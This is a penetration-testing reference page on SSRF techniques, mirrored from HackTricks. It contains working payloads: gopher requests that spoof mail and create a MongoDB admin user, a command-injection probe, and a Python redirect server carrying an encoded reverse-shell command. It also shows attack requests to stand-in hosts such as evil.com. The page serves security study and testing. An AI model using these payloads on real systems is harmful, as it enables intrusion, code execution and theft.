daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (36412B)


      1 ---
      2 title: "SSRF (Server Side Request Forgery)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SSRF (Server Side Request Forgery)
     14 
     15 ## Basic Information
     16 
     17 A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
     18 
     19 ### GeoNetwork SLD tool SSRF
     20 
     21 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork)
     22 
     23 ## Capture SSRF
     24 
     25 The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as:
     26 
     27 - **Burp Collaborator**
     28 - [**pingb**](http://pingb.in)
     29 - [**canarytokens**](https://canarytokens.org/generate)
     30 - [**interractsh**](https://github.com/projectdiscovery/interactsh)
     31 - [**http://webhook.site**](http://webhook.site)
     32 - [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
     33 - [http://requestrepo.com/](http://requestrepo.com/)
     34 - [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
     35 - [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - A Burp Collaborator using ngrok
     36 
     37 ## Whitelisted Domains Bypass
     38 
     39 Usually you will find that the SSRF is only working in **certain whitelisted domains** or URL. In the following page you have a **compilation of techniques to try to bypass that whitelist**:
     40 
     41 
     42 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass)
     43 
     44 ### Bypass via open redirect
     45 
     46 If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\
     47 Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)<sup>[[14]](#references)</sup>
     48 
     49 ## Protocols
     50 
     51 - **file://**
     52   - The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd`
     53 - **dict://**
     54   - The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
     55 - **SFTP://**
     56   - Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/`
     57 - **TFTP://**
     58   - Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
     59 - **LDAP://**
     60   - This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
     61 - **SMTP**
     62   - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.<sup>[[1]](#references)[[2]](#references)</sup>
     63 
     64 ```text
     65 From https://twitter.com/har1sec/status/1182255952055164929
     66 1. connect with SSRF on smtp localhost:25
     67 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
     68 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
     69 4. connect
     70 ```
     71 
     72 - **Curl URL globbing - WAF bypass**
     73   - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/urls/globbing.html) that can help bypass WAFs. This [writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) demonstrates it in a **path traversal through the `file` protocol**:<sup>[[13]](#references)[[15]](#references)</sup>
     74 
     75 ```text
     76 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
     77 ```
     78 
     79 - **Gopher://**
     80   - The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
     81 
     82 ### Gopher://
     83 
     84 Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\
     85 Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services.
     86 
     87 **Gopher smtp**
     88 
     89 ```text
     90 ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
     91 will make a request like
     92 HELO localhost
     93 MAIL FROM:<hacker@site.com>
     94 RCPT TO:<victim@site.com>
     95 DATA
     96 From: [Hacker] <hacker@site.com>
     97 To: <victime@site.com>
     98 Date: Tue, 15 Sep 2017 17:20:26 -0400
     99 Subject: Ah Ah AHYou didn't say the magic word !
    100 .
    101 QUIT
    102 ```
    103 
    104 **Gopher HTTP**
    105 
    106 ```bash
    107 #For new lines you can use %0A, %0D%0A
    108 gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
    109 gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
    110 ```
    111 
    112 **Gopher SMTP — Back connect to 1337**
    113 
    114 ```php
    115 <?php
    116 header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
    117 ?>Now query it.
    118 https://example.com/?q=http://evil.com/redirect.php.
    119 ```
    120 
    121 #### Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator
    122 
    123 ```bash
    124 # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
    125 curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
    126 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
    127 %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
    128 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
    129 %00%00administrator%00%00%00%00'
    130 ```
    131 
    132 ## SSRF via Referrer header & Others
    133 
    134 Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "**Collaborator Everywhere**" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces.
    135 
    136 ## SSRF via SNI data from certificate
    137 
    138 A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:<sup>[[3]](#references)</sup>
    139 
    140 ```text
    141 stream {
    142     server {
    143         listen 443;
    144         resolver 127.0.0.11;
    145         proxy_pass $ssl_preread_server_name:443;
    146         ssl_preread on;
    147     }
    148 }
    149 ```
    150 
    151 In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as `internal.host.com`, using the `openssl` command is given below:
    152 
    153 ```bash
    154 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
    155 ```
    156 
    157 ## SSRF via TLS AIA CA Issuers (Java mTLS)
    158 
    159 Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs.<sup>[[6]](#references)[[7]](#references)</sup>
    160 
    161 - **Requirements**: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
    162 - **Triggering SSRF** (Java 21 example):
    163   ```bash
    164   java -Djava.security.debug=certpath \
    165        -Dcom.sun.security.enableAIAcaIssuers=true \
    166        -Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
    167   # Attacker cert AIA: http://localhost:8080
    168   nc -l 8080 -k                      # observe the outbound fetch
    169   curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
    170   ```
    171   The Java certpath debug output shows `CertStore URI:http://localhost:8080`, and `nc` captures the HTTP request with the controllable `User-Agent` from `-Dhttp.agent`, proving SSRF during certificate validation.
    172 - **DoS via file://**: setting AIA CA Issuers to `file:///dev/urandom` on Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.
    173 
    174 ## SSRF via CSS Pre-Processors
    175 
    176 LESS is a CSS preprocessor that adds variables, mixins, functions, and the `@import` directive. In an SSRF context, a server-side LESS compiler is especially interesting because `@import (inline)` makes the compiler **fetch a referenced resource and embed its response** in the generated stylesheet. An attacker who controls imported LESS can therefore turn compilation into a server-originated request.
    177 
    178 Check how to exploit it in:
    179 
    180 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection)
    181 
    182 
    183 ## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick)
    184 
    185 ## SSRF with Command Injection
    186 
    187 It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
    188 
    189 ## PDFs Rendering
    190 
    191 If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here**](/hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf)**.**
    192 
    193 ## From SSRF to DoS
    194 
    195 Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
    196 
    197 ## SSRF PHP Functions
    198 
    199 Check the following page for vulnerable PHP and even Wordpress functions:
    200 
    201 
    202 [Php Ssrf](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf)
    203 
    204 ## SSRF Redirect to Gopher
    205 
    206 For some exploitations you might need to **send a redirect response** (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
    207 
    208 ```python
    209 # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
    210 from http.server import HTTPServer, BaseHTTPRequestHandler
    211 import ssl
    212 
    213 class MainHandler(BaseHTTPRequestHandler):
    214     def do_GET(self):
    215         print("GET")
    216         self.send_response(301)
    217         self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
    218         self.end_headers()
    219 
    220 httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
    221 httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
    222 httpd.serve_forever()
    223 ```
    224 
    225 ```python
    226 from flask import Flask, redirect
    227 from urllib.parse import quote
    228 app = Flask(__name__)
    229 
    230 @app.route('/')
    231 def root():
    232     return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
    233 
    234 if __name__ == "__main__":
    235     app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
    236 ```
    237 
    238 ## Misconfigured proxies to SSRF
    239 
    240 Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).<sup>[[4]](#references)</sup>
    241 
    242 ### Flask
    243 
    244 <details>
    245 
    246 <summary>Flask proxy vulnerable code</summary>
    247 
    248 ```python
    249 from flask import Flask
    250 from requests import get
    251 
    252 app = Flask('__main__')
    253 SITE_NAME = 'https://google.com'
    254 
    255 @app.route('/', defaults={'path': ''})
    256 @app.route('/<path:path>')
    257 
    258 def proxy(path):
    259   return get(f'{SITE_NAME}{path}').content
    260 
    261 if __name__ == "__main__":
    262     app.run(threaded=False)
    263 ```
    264 
    265 </details>
    266 
    267 Flask allows to use **`@`** as initial character, which allows to make the **initial host name the username** and inject a new one. Attack request:
    268 
    269 ```http
    270 GET @evildomain.com/ HTTP/1.1
    271 Host: target.com
    272 Connection: close
    273 ```
    274 
    275 ### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
    276 
    277 Vulnerable code:
    278 
    279 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281201%29.png" alt=""><figcaption></figcaption></figure>
    280 
    281 It was discovered that It's possible to **start the path** of a request with character **`;`** which allows to use then **`@`** and inject a new host to access. Attack request:
    282 
    283 ```http
    284 GET ;@evil.com/url HTTP/1.1
    285 Host: target.com
    286 Connection: close
    287 ```
    288 
    289 ### PHP Built-in Web Server <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
    290 
    291 <details>
    292 
    293 <summary>Vulnerable PHP code</summary>
    294 
    295 ```php
    296 <?php
    297 $site = "http://ifconfig.me";
    298 $current_uri = $_SERVER['REQUEST_URI'];
    299 
    300 $proxy_site = $site.$current_uri;
    301 var_dump($proxy_site);
    302 
    303 echo "\n\n";
    304 
    305 $response = file_get_contents($proxy_site);
    306 var_dump($response);
    307 ?>
    308 ```
    309 
    310 </details>
    311 
    312 PHP allows the use of the **char `*` before a slash in the path** of the URL, however, it has other limitations like that it can only be used for the root pathname `/` and that dots `.` are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:
    313 
    314 ```http
    315 GET *@0xa9fea9fe/ HTTP/1.1
    316 Host: target.com
    317 Connection: close
    318 ```
    319 
    320 ### Reverse proxies that accept absolute URLs in the request line (open forward-proxy)
    321 
    322 Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet.<sup>[[8]](#references)</sup>
    323 
    324 Key points:
    325 - **Request line controls destination**: the authority in the absolute URL overrides normal routing; the `Host` header is usually ignored.
    326 - **Full response returned**: responses from internal hosts are streamed back, so you can enumerate and interact (e.g., SOAP/Axis2, Keycloak, admin consoles) rather than blind-probing.
    327 - **Works on localhost**: `GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n` is enough to hit loopback-only listeners.
    328 - **Abuse as pivot**: combine with other vulns (e.g., upload endpoints) to reach intra-host services.
    329 
    330 Minimal probe:
    331 
    332 ```http
    333 GET http://127.0.0.1:8080/ HTTP/1.1
    334 Host: whatever
    335 Connection: close
    336 ```
    337 
    338 If you see the upstream response instead of a 400, the appliance is acting as an open proxy.
    339 
    340 ## DNS Rebidding CORS/SOP bypass
    341 
    342 If you are having **problems** to **exfiltrate content from a local IP** because of **CORS/SOP**, **DNS Rebidding** can be used to bypass that limitation:
    343 
    344 
    345 [Cors Bypass](/hacktricks/pentesting-web/cors-bypass)
    346 
    347 ### Automated DNS Rebidding
    348 
    349 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
    350 
    351 Check out also the **publicly running server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
    352 
    353 ## DNS Rebidding + TLS Session ID/Session ticket
    354 
    355 Requirements:
    356 
    357 - **SSRF**
    358 - **Outbound TLS sessions**
    359 - **Stuff on local ports**
    360 
    361 Attack:
    362 
    363 1. Ask the user/bot **access** a **domain** controlled by the **attacker**
    364 2. The **TTL** of the **DNS** is **0** sec (so the victim will check the IP of the domain again soon)
    365 3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**.
    366 4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain.
    367 5. In the DNS request a **private IP** address is given **now** (127.0.0.1 for example)
    368 6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID (where the **payload** of the attacker was contained). So congratulations you managed to ask the **user/bot attack himself**.
    369 
    370 Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\
    371 To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
    372 For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)<sup>[[16]](#references)</sup>
    373 
    374 ## Blind SSRF
    375 
    376 The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
    377 
    378 ### Time based SSRF
    379 
    380 **Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
    381 
    382 ### From blid to full abusing status codes
    383 
    384 According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.<sup>[[12]](#references)</sup>
    385 
    386 However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it.
    387 
    388 The python server used to exploit this is th following:
    389 
    390 ```python
    391 @app.route("/redir")
    392 def redir():
    393     count = int(request.args.get("count", 0)) + 1
    394     # Pump out 305, 306, 307, 308, 309, 310 ...
    395     weird_status = 301 + count
    396     if count >= 10:                      # after 5 “weird” codes
    397         return redirect(METADATA_URL, 302)
    398     return redirect(f"/redir?count={count}", weird_status)
    399 
    400 @app.route("/start")
    401 def start():
    402     return redirect("/redir", 302)
    403 ```
    404 
    405 **Steps:**
    406 - First 302 gets the app to start following.
    407 - Then it receives 305 → 306 → 307 → 308 → 309 → 310.
    408 - After the 5th strange code the PoC finally returns 302 → 169.254.169.254 → 200 OK.
    409 
    410 **What happens inside the target:**
    411 - libcurl itself does follow 305–310; it just normalises unknown codes to “follow.”
    412 - After N weird redirects (≥ 5 here) the application’s own wrapper decides “something is off” and switches to an error mode meant for debugging.
    413 - In that mode it dumps the entire redirect chain plus final body back to the outside caller.
    414 - Result: attacker sees every header + the metadata JSON, mission accomplished.
    415 
    416 Note that this is interesting to leak status codes that you couldn't leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), **there might be some status codes that directly leak the content of the response.**
    417 
    418 ### HTML-to-PDF renderers as blind SSRF gadgets
    419 
